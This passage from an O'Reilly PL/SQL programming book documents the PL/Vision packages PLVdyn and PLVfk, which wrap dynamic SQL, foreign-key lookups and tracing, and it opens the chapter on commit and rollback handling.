DBMS_SQL.PARSE (cur, string_in, DBMS_SQL.V7);

PLVdyn programs themselves make use of open_and_parse. Any time you parse a SQL statement through PLVdyn, you are, in fact, executing open_and_parse. This bundled program therefore acts as a kind of gateway through which all dynamic SQL must pass. I took advantage of this fact when I constructed a trace or window for PLVdyn (covered later in this chapter).

19.5.6.2 Execute and close

In many (but not all) situations, you want to execute your cursor and then immediately close it. If you are executing an INSERT, UPDATE, or DELETE, for example, you do not have to fetch rows from the SQL statement. After executing, you are ready to close.

The header for execute_and_close is as follows:

PROCEDURE execute_and_close (cur_inout IN OUT INTEGER)

In other words, you pass in the cursor and PLVdyn does the rest for you. Using this bundled operation, you can execute and close with this single line:

PLVdyn.execute_and_close (cur);

Otherwise, you have to code these lines (and declare a variable to hold the feedback from the EXECUTE statement):

fdbk := DBMS_SQL.EXECUTE (cur);
DBMS_SQL.CLOSE (cur);

With PLVdyn, you don't have to deal with the EXECUTE feedback unless you want to. If you need to know the results of the operation, you can access it through the dml_result or fdbk functions. These programs return the feedback from the most recent execution of execute_and_close.

By calling PLVdyn.execute_and_close instead of DBMS_SQL.EXECUTE, you can also take advantage of the execute toggle in PLVdyn, which is covered below.

19.5.6.3 Parse for delete

The last bundled operation is parse_delete. It is a bit more complex than the other operations. It is used by the dml_delete procedure to construct the SQL DELETE and then parse it, as shown below:

PROCEDURE dml_delete
   (table_in IN VARCHAR2, where_in IN VARCHAR2 := NULL)
IS
   cur INTEGER;
BEGIN
   parse_delete (table_in, where_in, cur);
   execute_and_close (cur);
END;

You might ask why I built a separate parse_delete procedure for this single call in dml_delete (it is not used anywhere else in PLVdyn). That is a reasonable question to ask. After all, one should be careful not to over-modularize. You can argue that it never hurts to break out functionality into separate programs. Then it is at least potentially reusable. You could, however, spend (waste?) many hours constructing individual modules that are never actually reused. Find the right balance.

In the case of parse_delete, it only looks as if the procedure is used once. In fact, parse_delete is also used in a second dynamic SQL package, PLVdyn1 (the code for which is found at the end of this chapter). This package contains a series of overloaded delete programs that take a single bind variable as input. For example, I could delete all employees where the hiredate is more than 100 years in the past with this call:

PLVdyn1.dml_delete
  ('emp',
   ADD_MONTHS (SYSDATE, -1200),
   'hiredate < :indate');

So I do, in fact, need a consolidated parse_delete function to handle common operations across at least four different delete programs. Now that I have justified my development process to my readers, let's take a look at the specification for parse_delete:

PROCEDURE parse_delete
   (table_in IN VARCHAR2,
    where_in IN VARCHAR2,
    cur_out OUT INTEGER);

You pass a table and the WHERE clause and receive a cursor handle in return. You can then use this cursor handle in a call to execute_and_close. The implementation of parse_delete is shown below. It constructs the DELETE string based on the inputs and then calls the prebuilt open_and_parse (notice that it does not need the "PLVdyn" prefix on the call to open_and_parse, since it is coded within the package).

PROCEDURE parse_delete
  (table_in IN VARCHAR2,
   where_in IN VARCHAR2,
   cur_out OUT INTEGER)
IS
   delete_stg PLV.dbmax_varchar2%TYPE := 'DELETE FROM ' || table_in;
   cur INTEGER;
BEGIN
   IF where_in IS NOT NULL
   THEN
      delete_stg := delete_stg || ' WHERE ' || where_in;
   END IF;
   cur_out := open_and_parse (delete_stg);
END;

These low-level, bundled operations are very handy when constructing more complex, full-featured dynamic SQL programs. Consider the ddl procedure described earlier in Section 19.5, "DML Operations". The implementation of PLVdyn.ddl is shown below:

PROCEDURE ddl (string_in IN VARCHAR2)
IS
   cur INTEGER;
BEGIN
   IF NOT executing
   THEN
      p.l ('PLVdyn: No parse/execute of DDL.');
      display_dynamic_sql (string_in);
   ELSE
      cur := open_and_parse (string_in);
   END IF;
END;

The executing function and the display_dynamic_sql support the execution toggle and execution trace features of PLVdyn. Disregarding those lines for the time being, the entire body of the ddl procedure is simply:

cur := open_and_parse (string_in);

Since it is a DDL statement, the parse automatically executes and commits, so this is all the code that is needed. The bundled operations (open_and_parse, execute_and_close, and so on) are called throughout the body of the PLVdyn package to minimize code volume and maximize code reuse.

19.5.6.4 Passthrough elements

PLVdyn offers two execute-related programs that are nothing more than passthroughs to the corresponding DBMS_SQL element. The headers for these passthroughs are:

PROCEDURE execute (cur_in IN INTEGER);
PROCEDURE execute_and_fetch
   (cur_in IN INTEGER, match_in IN BOOLEAN := FALSE);

PLVdyn.execute calls the DBMS_SQL.EXECUTE builtin, while PLVdyn.execute_and_fetch calls the DBMS_SQL.EXECUTE_AND_FETCH builtin.

Why did I bother building these procedures and why should you bother to use them? There are two basic reasons:

  1. Ease of use. The DBMS_SQL versions of these programs are functions. They return the number of rows affected by the SQL statement executed. This is important information, but it is not always needed. With PLVdyn passthroughs, you can simply call the procedure to perform the execute. If you then need to see the feedback value, you can call the PLVdyn.fdbk function.

  2. PLVdyn has placed a layer of code between your program and the native builtin function. Once this layer is in place, PLVdyn can add functionality around the DBMS_SQL execute operation. The execsql toggle, for example, allows you to turn on or off the actual execution of your dynamic SQL -- without having to change your application's code. PLVdyn could also enhance the trace to show you when code is executed.

19.5.7 Displaying a Table

PLVdyn offers the disptab procedure to display the contents of any database table from within the PL/SQL environment. This procedure is both a useful utility (one that is used by PLVlog, as is shown below) and an excellent demonstration of how to build programs that support Method 4 dynamic SQL with the DBMS_SQL package.

The header of disptab follows:

   PROCEDURE disptab
     (table_in IN VARCHAR2,
      string_length_in IN INTEGER := 20,
      where_in IN VARCHAR2 := NULL,
      date_format_in IN VARCHAR2 := PLV.datemask);

The four arguments to disptab are as follows:

table_in

The name of the table to be displayed. This is the only required argument.

string_length_in

The maximum number of characters to be used in displaying string columns. I do not even attempt to do the kind of string wrapping performed in SQL*Plus. Instead, I use SUBSTR to truncate the values.

where_in

An optional WHERE clause to restrict the rows displayed. If not specified, all rows are retrieved. You can also use this argument to pass in ORDER BY and HAVING clauses, since they follow immediately after the WHERE clause.

date_format_in

The format to be used to display dates. The default is the default date mask for PL/Vision, maintained in the PLV package.

Here are some examples of output from disptab:

  1. Display the full contents of the employee table:

SQL> execute PLVdyn.disptab ('emp');
-----------------------------------------------------------------------
                           Contents of emp
-----------------------------------------------------------------------
EMPNO ENAME      JOB       MGR  HIREDATE        SAL     COMM    DEPTNO
-----------------------------------------------------------------------
7839  KING       PRESIDENT      11/17/81 120000 5000            10
7698  BLAKE      MANAGER   7839 05/01/81 120000 2850            30
7782  CLARK      MANAGER   7839 06/09/81 120000 2450            10
7566  JONES      MANAGER   7839 04/02/81 120000 2975            20
7654  MARTIN     SALESMAN  7698 09/28/81 120000 1250    1400    30
7499  ALLEN      SALESMAN  7698 02/20/81 120000 1600    300     30
7844  TURNER     SALESMAN  7698 09/08/81 120000 1500    0       30
7900  JAMES      CLERK     7698 12/03/81 120000 950             30
7521  WARD       SALESMAN  7698 02/22/81 120000 1250    500     30
7902  FORD       ANALYST   7566 12/03/81 120000 3000            20
7369  SMITH      CLERK     7902 12/17/80 120000 800             20
7788  SCOTT      ANALYST   7566 12/09/82 120000 3000            20
7876  ADAMS      CLERK     7788 01/12/83 120000 1100            20
7934  MILLER     CLERK     7782 01/23/82 120000 1300            10

  2. Display only those rows of the emp table in department 10, ordering the rows by salary in increasing order. I also request that a maximum of 20 characters be used to display string information.

    SQL> execute PLVdyn.disptab ('emp', 20, 'deptno = 10 order by sal');
-----------------------------------------------------------------------
                           Contents of emp
-----------------------------------------------------------------------
EMPNO ENAME      JOB       MGR  HIREDATE        SAL     COMM    DEPTNO
-----------------------------------------------------------------------
7934  MILLER     CLERK     7782 01/23/82 120000 1300            10
7782  CLARK      MANAGER   7839 06/09/81 120000 2450            10
7839  KING       PRESIDENT      11/17/81 120000 5000            10

  3. I use the disptab procedure inside the PLVlog package to display the contents of the log table when the user has requested logging to a database table. The PLVlog display procedure is shown below. If the log type is set to database table, disptab is called. Otherwise the PLVtab package is used to display the contents of the PL/SQL table containing the log.

    PROCEDURE display IS
BEGIN
   IF log_type = PLV.dbtab
   THEN
      /* Use generic table display program? */
      PLVdyn.disptab (log_struc.table_name, 30);
   ELSIF log_type = PLV.pstab
       THEN
      PLVtab.display
         (log_pstable,
              pstab_count,
          'PL/Vision Log');
   END IF;
END;

    Notice that the user does not have to provide any information about the structure of the table. The disptab procedure gets that information itself -- and this is precisely the aspect of disptab that makes it a Method 4 dynamic SQL example and very useful.

19.5.8 Controlling Execution of Dynamic SQL

You can never have enough flexibility. That's my motto. I built this package to execute my dynamic SQL and then I actually encountered circumstances in which I wanted to run all of my code, but preferred to not actually execute the dynamic SQL. So I added yet another toggle to the PLVdyn package that would give me just this capability.

To turn on execution of dynamic SQL with PLVdyn, you call the execsql procedure. Here is an example of calling execsql from within a SQL*Plus session:

SQL> exec PLVdyn.execsql

To turn off execute of dynamic SQL in PLVdyn, call noexecsql as shown below:

SQL> exec PLVdyn.noexecsql

The executing function returns TRUE if PLVdyn is currently executing the SQL statements passed to it. You can call this function; PLVdyn calls the function itself to decide if it should call DBMS_SQL.EXECUTE, as you can see in the implementation of PLVdyn.execute:

PROCEDURE execute (cur_in IN INTEGER) IS
BEGIN
   IF executing
   THEN
      dml_feedback := DBMS_SQL.EXECUTE (cur_in);
   ELSE
      p.l ('PLVdyn: Execution disabled...');
   END IF;
END;

19.5.9 Tracing Use of Dynamic SQL

With PLVdyn, you construct a SQL statement and pass that string to a PLVdyn program for parsing or execution. It's a big time saver, but it also implies a loss of some control. You trust PLVdyn to do the right thing -- and it does. The question remains, however: what is your code passing to PLVdyn?

The code used to construct the dynamic SQL statement is often complicated (you can see this in some of my high-level operators). As I began to use PLVdyn, I often found that I wanted to see the SQL statement that PLVdyn was executing. I needed to verify that my calling program had put the SQL together properly.

There were two ways I could display my SQL statement:

  1. Put calls to DBMS_OUTPUT before each of my calls to PLVdyn modules. In this way, I do not have to change PLVdyn. (It is not, after all, the fault of PLVdyn -- or its author! -- that I wasn't sure what my code was doing.)

  2. Put the trace inside PLVdyn. This approach would require changes to the base package. On the other hand, it would be done once and then be available for all users of PLVdyn.

To me, the second approach was clearly preferable. If I were going to put this trace inside the package, I needed to make sure that the trace displayed only my SQL statement when I wanted to see it. When the package was used in a production environment, I couldn't have extraneous messages showing up on the user's screen.

I therefore implemented my trace with the following procedures and functions:

PROCEDURE showsql (start_with_in IN VARCHAR2 := NULL);
PROCEDURE noshowsql;
FUNCTION showing RETURN BOOLEAN;

The showsql procedure turns on the trace. If you execute PLVdyn.noshowsql, you turn off the trace. The showing function tells you the current state of the toggle.

When you turn on the PLVdyn trace, you can specify a "start with" string. If this string is not NULL, then that serves as the starting point for display of the dynamic SQL. You can use that option to skip over portions of SQL in which you have no interest. This feature was more useful and necessary in the early days of the PLVdyn trace when I had not incorporated the PLVprs string-wrapping functionality.

19.5.9.1 Using the dynamic SQL trace

In the following script, I turn on the trace and then execute a request to open and parse an INSERT statement.

SET SERVEROUTPUT ON
execute PLVdyn.showsql;
DECLARE
   cur INTEGER;
BEGIN
   cur := PLVdyn.open_and_parse
     ('insert into emp (empno, deptno) values (1505, 100)');
END;
/

I then receive this output:

Dynamic SQL: insert into emp (empno, deptno) values (1505, 100)

The trace comes in especially handy when you encounter errors in your dynamic SQL execution. Suppose you make extensive use of PLVdyn in your application. You start testing the code and have tossed in your face the following exception:

ORA-06510: PL/SQL: unhandled user-defined exception

You can turn on logging or displaying of exceptions if you are using PLVexc. Or you can simply issue this command:

PLVdyn.showsql;

and then re-execute your application. Suddenly, every time you parse SQL through PLVdyn, you see the SQL statement appear on the screen. When the problematic SQL fails, you will be able to identify the text and, from that, the part of your code that constructs that dynamic SQL string. Moving from that point to a solution is usually fairly straightforward.

The trace facility of PLVdyn illustrates some important principles of both generic package structure and high-quality reusable code. First, the public-private nature of the package allows me to construct a window into PLVdyn. This window offers a very controlled glimpse into the interior of the package. I let developers view the dynamic SQL string, but they can't look at or do anything else. This level of control allows Oracle to give us all of those wonderful builtin packages like DBMS_SQL and DBMS_PIPE. And it lets developers provide reusable PL/SQL components to other developers without fearing corruption of internal data structures.

See Chapter 2, Best Practices for Packages, for more information on windows into packages.

19.5.10 Executing PLVdyn in Different Schemas

When you execute stored code, you run it under the authority of the owner of that code. This has some startling implications for a package that frontends the DBMS_SQL package. Suppose that you install PLVdyn along with all of the other PL/Vision packages in a single account and then grant execute authority on PLVdyn to PUBLIC. This way all users can more easily take advantage of dynamic SQL in PL/SQL. Let's look at the implications of such an architecture.

Suppose that PL/Vision (and PLVdyn) is owned by the PLVISION account and that SCOTT is another account in the database instance. A DBA logs in to SCOTT to perform some database tuning. It seems that the company has added many employees over the years and the emp table now has 6,000,000 rows. An index is needed on the ename table to improve query performance.

So the DBA logs into the new Oracle Forms frontend she built to make her life easier. It uses PLVdyn to perform a variety of administrative tasks. Through a fill-in-the-form process, she ends up executing a CREATE INDEX command as follows:

PLVdyn.ddl ('create index empname_idx on emp(ename)');

So PLVdyn does its thing and the Oracle Forms application notifies the DBA that the job is done. The DBA is impressed at how rapidly the index was built and notifies the application development team that all is better now. Fifteen minutes of quiet pass for the DBA before she gets an angry call from a developer:

"The performance hasn't changed one bit!" he says angrily. "The screens still work just as slowly as before when I try to search for an employee by name."

19.5.10.1 Checking the indexes

The DBA is bewildered and quickly runs the following script to examine the indexes on the emp table:

REM vuindex.sql
SELECT i.index_name, i.tablespace_name,
       uniqueness u, column_name, column_position pos
  FROM all_indexes i, all_ind_columns c
 WHERE i.index_name = c.index_name
   AND i.table_name = upper ('&1');
SQL> start vuindex emp
INDEX_NAME          TABLESPACE_NAME      U         COLUMN_NAME          POS
------------------- -------------------- --------- -------------------- ---
EMP_PRIMARY_KEY     USER_DATA            UNIQUE    EMPNO                  1

There is no empname_idx index! What has gone wrong? On a hunch, the DBA connects to the PLVISION account, re-executes the same script, and sees these results:

INDEX_NAME          TABLESPACE_NAME      U         COLUMN_NAME          POS
------------------- -------------------- --------- -------------------- ---
EMPNAME_IDX         USER_DATA            NONUNIQUE ENAME                  1
EMP_PRIMARY_KEY     USER_DATA            UNIQUE    EMPNO                  1

The index was created in the PLVISION schema! Why did this happen?

When the DBA executed the index creation statement from within a call to PLVdyn.ddl, the DDL statement was processed as though it were being executed by PLVISION, not by SCOTT. If the DBA had wanted to create an index in her own schema, she should have entered the following command:

PLVdyn.ddl ('create index SCOTT.ename_idx on SCOTT.emp(ename)');

19.5.10.2 Avoiding schema confusion for DDL

It is very difficult to make sure that all developers who use PLVdyn remember this unusual twist. As a result, you may want to treat PLVdyn differently in terms of how you make it available to developers.

Ideally, one could enhance a package like PLVdyn to make sure that the correct schema (that returned by a call to USER) is applied to all DDL. As far as I can tell, however, that is a near-impossible task. How can a PL/SQL program parse the SQL statement and figure out where a schema must be added?

The alternative is ugly, but practical. Instead of creating the package in one account and granting execute authority to all others, consider creating the PLVdyn package directly in the accounts of each of the users of the package. This creates something of a maintenance headache, but it also guarantees that any SQL and PL/SQL developers run dynamically run under their own schema.

A final approach might be to strictly limit who has access to PLVdyn; perhaps it can only be executed through an interface that guarantees that schemas are applied correctly in the SQL before it is passed to PLVdyn for parsing.

Special Notes on PLVdyn

Here are some factors to consider when working with PLVdyn:

  • The PLVdyn package does not provide support for bind variables. The PLVdyn1 package offers a programmatic interface to a variety of dynamic SQL operations that have a single bind variable. This package is provided on the companion disk, and you will find documentation for it there. You will be able to see how to use its programs simply by examining the specification and body of PLVdyn1.

  • The disptab procedure has lots of room for fine-tuning and enhancement. It would be nice, for example, to specify a maximum length for numeric values, alternate titles for columns, and a restricted set of columns. Future versions of PL/Vision Professional may incorporate these ideas. I strongly recommend, however, that in the meantime you make a copy of disptab and play around with it yourself.

Previous: 19.4 PLVdyn: A Code Layer over DBMS_SQL | Advanced Oracle PL/SQL Programming with Packages | Next: 19.6 PLVfk: Generic Foreign Key Lookups
19.4 PLVdyn: A Code Layer over DBMS_SQL | Book Index | 19.6 PLVfk: Generic Foreign Key Lookups
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 19] 19.6 PLVfk: Generic Foreign Key Lookups

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

19.6 PLVfk: Generic Foreign Key Lookups

The PLVfk (PL/Vision Foreign Key) package offers a high-level, easy-to-use interface to looking up foreign key information in your tables.

In any well-normalized relational database, you have many foreign keys. For example, a customer database has companies, contacts within companies, types of companies, types of contacts, etc. The contact table has a foreign key to the company table. The company table has a foreign key to the company type table, and so on. Normalization is a great thing for avoidance of data redundancy, but it can create anguish for developers.

The reality of foreign keys is most succinctly expressed in the following maxim (first encountered in a scribble in the stall of an Oracle headquarters bathroom!):

Where you have foreign keys, you also have foreign key lookups.

In other words, whenever I query/display a contact record, I need to look up the name of the company, the description of the contact type, and so on in order to translate my keys (usually sequentially generated numbers or cryptic string codes) into information users can understand. Furthermore, whenever a user enters a name or description, I will want to look up the corresponding key to make sure the entry is valid.

Foreign key lookups have historically required an awful lot of custom programming. In fact, let's spend a few paragraphs exploring what you would normally have to do to handle foreign keys. Then I will show you how you can use dynamic SQL to create a generic function to handle almost all foreign key lookups.

19.6.1 Traditional Foreign Key Management

We'll stick to the company-contact model. The tables I will use are as follows:

CREATE TABLE company
   (company_id NUMBER,
    company_nm VARCHAR2(100),
    company_type_id NUMBER);

CREATE TABLE contact
   (contact_id NUMBER,
    company_id NUMBER,
    contact_ nm VARCHAR2(100),
    contact_type_id NUMBER);

CREATE TABLE company_type
   (company_type_id NUMBER, company_type_nm VARCHAR2(100);

CREATE TABLE contact_type
   (comntact_type_id NUMBER, contact_type_nm VARCHAR2(100);

The traditional (pre-DBMS_SQL) approach to foreign key lookups entails building a function for each separate entity that serves as a foreign key in a table. This function would take the foreign key and return the name or description. The specifications for such functions would look like:

FUNCTION contact_name (contact_id_in IN contact.contact_id%TYPE)
   RETURN VARCHAR2;

FUNCTION company_name (company_id_in IN company.company_id%TYPE)
   RETURN VARCHAR2;

FUNCTION company_type (company_type_id_in IN company.company_type_id%TYPE)
   RETURN VARCHAR2;

and so on, for as many foreign keys as you've got. And every time a new foreign key is added to the mix, you must write a new function. In addition, you would have a set of functions that take a name and return an ID. Lots of different program elements.

19.6.1.1 Typical foreign key lookup code

Here is an example of what only one of these functions would contain:

FUNCTION contact_name (contact_id_in IN contact.contact_id%TYPE)
   RETURN VARCHAR2
IS
   CURSOR con_cur (id_in IN NUMBER)
   IS
      SELECT contact_nm
        FROM contact
       WHERE contact_id = id_in;
   con_rec con_cur%ROWTYPE;

   return_value contact.name%TYPE := NULL;
BEGIN
   OPEN con_cur (contact_id_in);
   FETCH con_cur INTO con_rec;
   IF con_cur%FOUND
   THEN
      return_value := con_rec.contact_nm;
   END IF;
   CLOSE con_cur;
   RETURN return_value;
END contact_name;

Not a terribly complicated function, but when you repeat those steps over and over again, you end up with a significant volume of code to construct, debug, and maintain.

19.6.1.2 A better mousetrap

Wouldn't it be just fabulous if you could construct a single, generic function using dynamic SQL that would work for all foreign keys? The PLVfk package offers that single function. Actually, it provides two different general-purpose functions: one that accepts a key or ID and returns the associated name (the name procedure), and another that accepts a name and returns the associated key (the id procedure).

By using PLVfk, you can avoid writing functions like the contact_name program shown above. Instead, you simply execute this kind of command:

v_cname := PLVfk.name
              (v_contact_id, 'contact', 'contact_id', 'contact_nm');

and maybe even nothing more than this:

v_cname := PLVfk.name (v_contact_id, 'contact');

The elements of the PLVfk package are explained in the following sections. To get more information about the implementation behind PLVfk, you can review the code on the companion disk or read Chapter 15 of Oracle PL/SQL Programming.

19.6.2 Configuring the PLVfk Package

I have found that in many Oracle shops there are clear, consistent guidelines for naming tables and their columns. If you work in this kind of environment, you can leverage the predictability of these conventions into a user interface that both reflects and takes advantage of these standards.

In the PLVfk package, this means that you can inform PLVfk through the "set" programs how the column names for primary keys and their descriptors are constructed in relation to the entity or table name. You can tell it, for example, that the string "_ID" is always attached to the table name as a suffix to form the primary key column name. Or you can tell it that the descriptor column is always formed as the string "NAME$" attached as a prefix to the table name.

Once you have informed PLVfk of your standards, you do not have to constantly type in the names of your columns. Instead, you just pass in the table name and let PLVfk do the rest. And if you run into exceptions to your rule, you always can override the default conventions with full names or alternative conventions. All of these variations are explored in the following sections.

PLVfk provides three different "set" programs to provide override values to default elements of the PLVfk configuration: set_id_default, set_nm_default, and set_vclen.

19.6.2.1 Setting column name defaults

The set_id_default procedure sets the default string to be used as a suffix or prefix to the specified table name. The other two set programs determine how PLVfk constructs column names to be used in the dynamic SQL that retrieves the requested data. The header for set_id_default is:

PROCEDURE set_id_default
   (string_in IN VARCHAR2 := c_no_change,
    type_in IN VARCHAR2 := c_no_change);

where string_in is the string to be used as suffix or prefix and type_in is the type of concatenation action. The constant, c_no_change, can be used to indicate that you do not want to change one of these settings. The following examples illustrate the different ways to call set_id_default.

  1. Change the prefix from the default of _ID to _KEY. Don't provide any value for the type, since the default is prefix and you are sure that hasn't been modified.

    SQL> exec PLVfk.set_id_default ('_KEY');

  2. Rather than use prefixes, my site uses standard suffixes of ID_ and NM_. So in my call to set_id_default, I only change the value of the type and leave the string itself the same (since they match the default, starting values).

    SQL> exec PLVfk.set_id_default (type_in=>PLVfk.c_suffix);

    The set_nm_default procedure performs the same kind of action, except that it applies to the name column and not the ID column. The header for this procedure is:

    PROCEDURE set_nm_default
   (string_in IN VARCHAR2 := c_no_change,
    type_in IN VARCHAR2 := c_no_change);

See the examples for set_id_default to get an idea of what you can do with set_nm_default.

19.6.2.2 Setting the default string length

The set_vclen procedure can be used to set the maximum size of a value returned by DBMS_SQL with a call to COLUMN_VALUE. The header for set_vclen is:

PROCEDURE set_vclen (length_in IN INTEGER);

The default value for this maximum length is 100. The following call to set_vclen notifies PLVfk that it may encounter descriptors of up to 255 bytes in length:

SQL> exec PLVfk.set_vclen (255);

Once you have set the PLVfk package to reflect as closely as possible your server environment and standards, you can use the id and name functions of PLVfk to perform effortless foreign key lookups.

19.6.3 Looking Up the Name

You can use the name function to retrieve the name for a specific key. The header for name is:

FUNCTION name
   (id_in IN INTEGER,
    table_in IN VARCHAR2,
    id_col_in IN VARCHAR2 := c_no_change,
    nm_col_in IN VARCHAR2 := c_no_change,
    max_length_in IN INTEGER := c_int_no_change,
    where_clause_in IN VARCHAR2 := NULL)
RETURN VARCHAR2;

where id_in is the specific ID value used in the lookup and table_in is the name of the table to be searched. These are the only required arguments. The next four arguments allow you to tweak the SQL statement constructed by PLVfk, as described below:

id_col_in

The name of the ID column in the table. If you do not supply a value, the default column suffix or prefix is applied to the table name. If you do supply a value and it starts or ends with an underscore, that string is used as a suffix or prefix. Otherwise, the string you supply is used as the column name itself.

nm_col_in

The name of the name or descriptor column in the table. If you do not supply a value, the default column suffix or prefix is applied to the table name. If you do supply a value and it starts or ends with an underscore, that string is used as a suffix or prefix. Otherwise, the string you supply is used as the column name itself.

max_length_in

The maximum length of the string value returned by the query. If no value is provided, the current value (initially 100 and set by the set_vclen procedure) is used in the call to the DBMS_SQL.DEFINE_COLUMN builtin.

where_clause_in

Optional WHERE clause to attach to the SELECT statement. You can use this argument to add additional AND clauses, such as a restriction to look only at active records.

The following series of examples demonstrate how to use the name function.

  1. Assume that table contact has contact_id and contact_nm columns.

    v_name := PLVfk.name (v_contact_id, 'contact');

  2. Assume that contact_type table has contact_type_id and contact_type_nm columns.

    v__type_ds := PLVfk.name (v_type_id, 'contact_type');

    Of course, in the real world, conventions do not hold up so consistently. In fact, I have found that database administrators and data analysts often treat an entity like contact, with its contact ID number and contact name, differently from the way they would a contact type, with its type code and description. The columns for the contact type table are more likely to be: contact_typ_cd and contact_typ_ds. Fortunately, PLVfk.name still handles this situation as shown in number 3.

  3. Use alternative suffixes for a code table.

    v_type_ds := PLVfk.name (v_type_id, 'contact_type', '_cd', '_ds');

  4. Only retrieve the description of the call type if that record is still flagged as active. Notice that I must stick several single quotes together to get the right number of quotes in the evaluated argument passed to name.

    v_contact_type_ds :=
  PLVfk.name
    (v_contact_type_id,
     'contact_type', '_cd', '_ds', 25,
     'AND row_active_flag = ''Y''');

    In examples 3 and 4, I could avoid specifying the column suffixes by making a prior call to set_id_default and set_nm_default, as shown below:

    PLVfk.set_id_default ('_cd');
PLVfk.set_nm_default ('_ds');

    and now my calls to PLVfk.name are made simpler:

    v_type_ds := PLVfk.name (v_type_id, 'contact_type');

v_contact_type_ds :=
  PLVfk.name
    (v_contact_type_id,
     'contact_type', 25, 'AND row_active_flag = ''Y''');

  5. Retrieve the name of the store that is kept in the record for the current year. I use named notation to skip over all intermediate arguments for which I want to use the default values and specify my WHERE clause. Notice that I must use two contiguous single quotes inside my string so that it evaluates to a valid string for a SQL statement.

    /* Only the record for this year should be used */
year_number := TO_CHAR (SYSDATE, 'YYYY');
/* Pass check for year to WHERE clause. */
v_description :=
  name
    (v_store_id, 'store_history',
     where_clause_in =>
        'AND TO_CHAR (eff_date, ''YYYY'') = ''' ||
        year_number || '''');

The following table shows how various arguments for the ID and name column strings are converted into the column names concatenated into the dynamic SQL SELECT statement.

Formal Parameter | Argument Supplied to PLVfk.name | Converted Value
ID column | c_no_change or simply skipped | contact_id
Name column | c_no_change or simply skipped | contact_nm
ID column | contact_number | contact_number
Name column | contact_name | contact_name
ID column | _# | contact_#
Name column | _fullname | contact_fullname

19.6.4 Looking up the ID

Sometimes you want to get the key or ID number from a name. In this case, you use the id function, whose header is shown below:

FUNCTION id
   (nm_in IN VARCHAR2,
    table_in IN VARCHAR2,
    id_col_in IN VARCHAR2 := c_no_change,
    nm_col_in IN VARCHAR2 := c_no_change,
    max_length_in IN INTEGER := c_int_no_change,
    where_clause_in IN VARCHAR2 := NULL)
RETURN INTEGER;

where nm_in is the specific name used in the lookup and table_in is the name of the table to be searched. These are the only required arguments. The next four arguments allow you to tweak the SQL statement constructed by PLVfk, as described below:

id_col_in

The name of the ID column in the table. If you do not supply a value, the default column suffix or prefix is applied to the table name. If you do supply a value and it starts or ends with an underscore, that string is used as a suffix or prefix. Otherwise, the string you supply is used as the column name itself.

nm_col_in

The name of the name or descriptor column in the table. If you do not supply a value, the default column suffix or prefix is applied to the table name. If you do supply a value and it starts or ends with an underscore, that string is used as a suffix or prefix. Otherwise, the string you supply is used as the column name itself.

max_length_in

The maximum length of the string value returned by the query. If no value is provided, the current value (initially 100 and set by the set_vclen procedure) is used in the call to the DBMS_SQL.DEFINE_COLUMN builtin.

where_clause_in

Optional WHERE clause to attach to the SELECT statement. You can use this argument to add additional AND clauses, such as a restriction to only look at active records.

As you can see, the id function is very similar to the name function; they are mirrors of each other. Rather than repeat another set of examples, see those supplied for the name function to get a feeling for how to use the PLVfk.id function.

Special Notes on PLVfk

Here are some factors to consider when working with PLVfk:

  • You cannot call either of the PLVfk functions from within a SQL statement. Yes, it is a PL/SQL function and you can call PL/SQL functions from within SELECTs, INSERTs, and so on. You cannot, on the other hand, call a PL/SQL function which, in turn, executes any programs from a builtin package. Since PLVfk relies heavily on DBMS_SQL, it is not callable from within SQL. I received more messages (complaints?) about this problem (usually phrased more like "your code doesn't work!") from my first book than on any other topic.

  • David Thompson, ace technical reviewer of this book and author of PLVddd, offered an interesting idea for enhancing PLVfk further. Why depend on all those complicated column name prefixes and suffixes to determine the primary key? Why not read the data dictionary for this information instead? You could even store all primary key information in a PL/SQL table to avoid repetitive data dictionary access. An excellent idea to explore, although I would be concerned about adding more overhead to PLVfk processing.

Previous: 19.5 DML Operations | Advanced Oracle PL/SQL Programming with Packages | Next: 20. PLVcmt and PLVrb: Commit and Rollback Processing
19.5 DML Operations | Book Index | 20. PLVcmt and PLVrb: Commit and Rollback Processing
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 20] PLVcmt and PLVrb: Commit and Rollback Processing

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 19.6 PLVfk: Generic Foreign Key Lookups Chapter 20 Next: 20.2 PLVrb: Performing Rollbacks

20. PLVcmt and PLVrb: Commit and Rollback Processing

Contents:
PLVcmt: Enhancing Commit Processing
PLVrb: Performing Rollbacks

PL/Vision provides two packages that help you manage transaction processing in PL/SQL applications: PLVcmt and PLVrb. These packages provide a layer of code around the transaction-oriented builtins of the PL/SQL language. If you make full use of PLVcmt and PLVrb, you will no longer need to make direct calls to COMMIT and ROLLBACK. Instead, you will call the corresponding programs in these two packages; by doing so, you will greatly increase your flexibility, improve your ability to test your code, and reduce overall code volume.

20.1 PLVcmt: Enhancing Commit Processing

The PLVcmt (PL/Vision CoMmiT) package encapsulates logic and complexity for dealing with commit processing. For example, you can use PLVcmt to rapidly define scripts that execute commits every 1,000 transactions. You can replace any direct calls to COMMIT with a call to PLVcmt.perform_commit and thereby give yourself additional testing and debugging flexibility. By providing a programmatic interface to commit activity in PL/SQL, PL/Vision gives you the ability to change transaction-level behavior at runtime. You can also reduce the volume of code you write to perform commits in your applications.

20.1.1 Who Needs PLVcmt?

In my first book on PL/SQL, I used more that 900 pages to talk about almost every aspect of the PL/SQL language. But notice that word: almost. I did not, in fact, cover two very important commands in PL/SQL: COMMIT and ROLLBACK. Why didn't I discuss these commands? For two reasons: oversight and rationalization. The oversight was due to the fact that I had up to that time rarely performed commits in my PL/SQL programs (they were usually a part of Oracle Forms applications or were developer utilities).

